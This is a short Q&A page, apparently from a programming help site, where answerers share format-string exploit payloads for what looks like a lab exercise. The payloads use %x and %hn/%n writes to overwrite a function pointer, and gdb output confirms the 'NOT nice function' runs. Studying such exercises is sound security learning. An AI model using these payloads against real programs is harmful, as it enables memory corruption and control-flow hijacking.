New answers tagged

0

The input string that finally let me execute the not nice function was echo -n -e '\x7c\xd0\xff\xffJUNK\x7e\xd0\xff\xff. %x %x %x %x %33929x %hn' > /tmp/xxx This gave me: 22 (*fptr)(); (gdb) x/4xw 0xffffd070 0xffffd070: 0x00000001 0x00000003 0xf7e25a50 0x080484b4 (gdb) c Continuing. you are in the NOT nice function!


0

I am not sure the %n takes the next argument after the %5$x. Try \x7c\xd0\xff\xffAAAA%6$n. Seemed to work for me.


Top 50 recent answers are included